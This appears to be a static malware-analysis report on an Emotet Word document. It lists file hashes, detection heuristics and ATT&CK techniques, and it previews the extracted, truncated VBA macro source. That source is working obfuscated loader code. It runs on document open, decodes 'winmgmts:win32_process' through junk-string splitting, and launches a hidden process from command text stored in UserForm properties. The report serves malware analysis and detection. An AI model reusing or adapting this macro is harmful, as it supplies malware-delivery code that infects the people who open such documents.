Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a79c7ffb4986d69f…

MALICIOUS

Office (OLE)

224.2 KB Created: 2020-08-11 09:31:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 9351ed7bd9e7e24c332160927a59b3fb SHA-1: 35eb875a531056b3fbfb222631d302dd0e83af17 SHA-256: a79c7ffb4986d69fb5ecfadb5764d092f97feb5c902906cb87e8a3ff90777ab6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager. This pattern is characteristic of Emotet, which typically uses such methods to download and execute further malicious payloads. The ClamAV detection also explicitly names Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9268240-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9268240-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4293 bytes
SHA-256: 9c6e6b9c8ed321af0cc29b90e13795f3dd551a3c84c992d7d409a17fa2196522
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BPXCTkajxdkxbmjufrx"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
ULVNYtahqprdpf.LZKDGcdmffyfpvarc
End Sub


Attribute VB_Name = "ULVNYtahqprdpf"
Attribute VB_Base = "0{06B693E6-8A7F-4C7A-AE96-BAA8B345DB07}{19A95E01-A4B3-4590-A256-0BE533D57DFB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function LZKDGcdmffyfpvarc()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
KFBZZbmvvkfmjtvl = ULVNYtahqprdpf.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
ONJDLegnlohq = ChrW(KFBZZbmvvkfmjtvl + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
FEZNJlkmkmugglif = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + ONJDLegnlohq + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + ULVNYtahqprdpf.UMWQUyrqgcokqicp + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
QEFEIuammogddykbt = MKIDHbqtrqbk(FEZNJlkmkmugglif)
Dim JtF1ÔVIsgfW As Variant
Set OUEMHtvrmjsvuhzok = CreateObject(QEFEIuammogddykbt)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
NJWNXxcjiljj = ULVNYtahqprdpf.GUKLAhhwzdwoku.ControlTipText
Dim aKHZFGTowB As Currency
LAMIGjeoqsqcfq = m2m3b5 + (QEFEIuammogddykbt + ONJDLegnlohq + ULVNYtahqprdpf.FDCSKhqqukaeyiig.ControlTipText + NJWNXxcjiljj)
Dim fIspInaCW As String
SXXBRfjaumdkmg = LAMIGjeoqsqcfq + ULVNYtahqprdpf.UMWQUyrqgcokqicp
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set EZSHAjcjofpeirs = ICREJdtoccujwnuvg(SXXBRfjaumdkmg)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", OUEMHtvrmjsvuhzok. _
Create(LXVDTnbnoeovrkyztr, ECKIJfuhxjod, EZSHAjcjofpeirs), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function LXVDTnbnoeovrkyztr()
n21bh3 = ULVNYtahqprdpf.YVCCOejwjeel.Pages(vbOK).Caption
LXVDTnbnoeovrkyztr = MKIDHbqtrqbk(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function ICREJdtoccujwnuvg(YQFBJyluelkmy)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set ICREJdtoccujwnuvg = CreateObject(YQFBJyluelkmy)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
ICREJdtoccujwnuvg. _
showwindow = HFXHPmgwzjugfkjv + SHERFltamosddg
Dim UMbU As Object
End Function
Function MKIDHbqtrqbk(OMMITrhdapdrwosgn)
SWLJJrlqbttr = OMMITrhdapdrwosgn
Dim ZvdC As Currency
XAIMIxlhtttoyiepe = Split _
(SWLJJrlqbttr, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
EXUMVwdpcalepu = mmm2 + Join(XAIMIxlhtttoyiepe, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do While r4áAANisy < 4 + 5
r4áAANisy =
... (truncated)

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